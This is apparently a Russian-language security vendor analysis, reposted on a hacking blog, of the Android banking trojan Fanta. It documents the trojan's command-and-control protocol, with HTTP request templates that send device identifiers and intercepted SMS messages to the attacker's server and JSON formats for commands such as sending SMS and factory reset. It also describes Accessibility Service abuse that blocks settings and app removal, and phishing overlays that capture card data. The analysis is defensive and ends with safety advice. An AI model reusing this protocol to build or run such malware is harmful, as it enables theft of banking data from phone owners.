Обзор Android-трояна Fanta. Часть 2

Обзор Android-трояна Fanta. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controllet.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:

Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:

Cookie – полученные cookie от сервера (значение по умолчанию - пустая строка)

mode – строковая константа register_bot

prefix – целочисленная константа 2

version_sdk – формируется по следующему шаблону: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)

imei – IMEI зараженного устройства

country – код страны в которой зарегистрирован оператор в формате ISO

number – номер телефона

operator – имя оператора

Пример запроса, отправляемого на сервер:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>

В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:

bot_id – идентификатор зараженного устройства. В случае если bot_id будет равен 0, Fanta повторно выполнит запрос

bot_pwd – пароль для сервера

server – адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.Пример JSON-объекта:

{
    "response":[
     {
      "bot_id": <%BOT_ID%>,
      "bot_pwd": <%BOT_PWD%>,
      "server": <%SERVER%>
     }
    ],
    "status":"ok"
}

Запрос на получение команды от сервера. На сервер отправляются следующие данные:

Cookie – полученные cookie от сервера

bid – id зараженного устройства, который был получен при отправке запроса register_bot

pwd – пароль для сервера

divice_admin – поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно 1, иначе 0

Accessibility – статус работы Accessibility Service. Если служба была запущена, значение равно 1, иначе 0

SMSManager – показывает включен ли троян, как приложение по умолчанию для получения СМС

screen – отображает в каком состоянии находится экран. Будет установлено значение 1, если экран включен, иначе 0Пример запроса, отправляемого на сервер:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

В зависимости от команды сервер может вернуть JSON-объект с разными параметрами:

- Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.

{
    "response":
    [
     {
      "mode": 0,
      "sms_number": <%SMS_NUMBER%>,
      "sms_text": <%SMS_TEXT%>,
      "sms_id": %SMS_ID%
     }
    ],
    "status":"ok"
}

- Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.

{
    "response":
    [
     {
      "mode": 1,
      "command": <%TEL_NUMBER%>
     }
    ],
    "status":"ok"
}

- Команда Изменить параметр interval.

{
    "response":
    [
     {
      "mode": 2,
      "interval": <%SECONDS%>
     }
    ],
    "status":"ok"
}

- Команда Изменить параметр intercept.

{
    "response":
    [
     {
      "mode": 3,
      "intercept": "all"/"telNumber"/<%ANY_STRING%>
     }
    ],
    "status":"ok"
}

- Команда Изменить поле SmsManager.

{
    "response":
    [
     {
      "mode": 6,
      "enable": 0/1
     }
    ],
    "status":"ok"
}

- Команда Выполнить сбор СМС-сообщений с зараженного устройства.

{
    "response":
    [
     {
      "mode": 9
     }
    ],
    "status":"ok"
}

- Команда Сбросить телефон до заводских настроек.

{
    "response":
    [
     {
      "mode": 11
     }
    ],
    "status":"ok"
}

- Команда Изменить параметр ReadDialog.

{
    "response":
    [
     {
      "mode": 12,
      "enable": 0/1
     }
    ],
    "status":"ok"
}

- Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение. Запрос выглядит следующим образом:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

- Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:

Cookie – полученные cookie от сервера

mode – строковая константа setSaveInboxSms

bid – id зараженного устройства, которое было получено при отправке запроса register_bot

text – текст в текущей записи БД (поле d из таблицы logs в базе данных а)

number – наименование текущей записи БД (поле p из таблицы logs в базе данных а)

sms_mode – целочисленное значение (поле m из таблицы logs в базе данных а)Запрос выглядит следующим образом:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

При успешной отправке на сервер строка будет удалена из таблицы. Пример JSON-объекта, возвращаемого сервером:

{
    "response":[],
    "status":"ok"
}

Взаимодействие с AccessibilityService

AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать это программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений. 

Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами - readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий: 

Имитирует нажатие клавиш назад и домой в случае: 

  • Если пользователь хочет перезагрузить свое устройство
  •  
  • Если пользователь хочет удалить приложение "Avito" или изменить права доступа
  •  
  • Если на странице есть упоминание о приложении "Avito"
  •  
  • При открытии приложения "Google Play Защита"
  •  
  • При открытии страниц с настройками AccessibilityService
  •  
  • При возникновении диалогового окна "Безопасность системы"
  •  
  • При открытии страницы с настройками "Draw over other app"
  •  
  • При открытии страницы «Приложения», «Восстановление и сброс», «Сброс данных», «Сброс настроек», «Панель разработчиков», «Спец. возможности», «Специальные возможности», «Особые права»
  •  
  • Если событие было сгенерировано следующими приложениями:

Список приложений

Фишинговые формы

Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно, которое представляет собой форму для ввода информации о банковской карте, поверх всех остальных. Пользователю необходимо ввести следующие данные:

  • Номер карты
  • Срок действия карты
  • CVV
  • Имя держателя карты (не для всех банков)

В зависимости от запущенного приложения будут продемонстрированы разные фишинговые окна. Ниже будут представлены примеры некоторых фишинговых окон.

Aliexpress:

Avito:

Для других приложений (Google Play Market, Aviasales, Pandao, Booking, Trivago и т.д.):

Как все было на самом деле

К счастью, человек из данной статьи, получивший СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская версия отличается от рассказанной ранее: человек получил интересное SMS, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки - данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и чтобы ваша не была похожа на режиссерскую версию с потерей денег - в большинстве случаев достаточно придерживаться следующих, давно описанных правил: 

  • не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
  •  
  • при установке приложения обращать особое внимание на запрашиваемые приложением права
  •  
  • регулярно устанавливать обновления ОС Android
  •  
  • обращать внимание на расширения загружаемых файлов
  •  
  • не посещать подозрительные ресурсы
  •  
  • не переходить по ссылкам, полученным в SMS-сообщениях.

Ну а для банков и вендоров мобильных приложений, на которые нацелено это семейство Android-троянов, в рамках нашего продукта Secure Bank/Portal мы разработали SecureBank Mobile SDK. Этот продукт легко интегрируется в мобильное банковское приложение и работает на стороне банка, выполняя функции идентификации мобильного устройства клиента, детектирования вредоносных приложений, выявления несанкционированной смены SIM-карты клиента и детектирования запуска банковского приложения на эмуляторе мобильного устройства или на неофициальных версиях мобильных платформ. Выявление нетипичной для конкретного клиента активности повышает вероятность распознавания мошеннических действий, тем самым сокращая число ложных срабатываний антифрод-систем и снимая необходимость дополнительных звонков клиентам для проверки транзакций. 

И последний важный момент, связанный с противодействием банковским троянам семейства Flexnet. Использование «материнского» продукта Group-IB Secure Bank c расширенными возможностями Secure Bank Mobile SDK в сумме дает надежный инструмент для кросс-канального анализа и корреляции данных о поведении пользователя при работе на различных устройствах (смартфон, планшет, ноутбук, ПК) через любые каналы взаимодействия с банком (мобильное приложение, онлайн-банкинг и др). Использование алгоритмов машинного обучения и продвинутого конструктора правил предотвратит мошенничество на этапе подготовки, детектируя подозрительные действия мошенника, выдающего себя за реального клиента. 

Источник

Report Page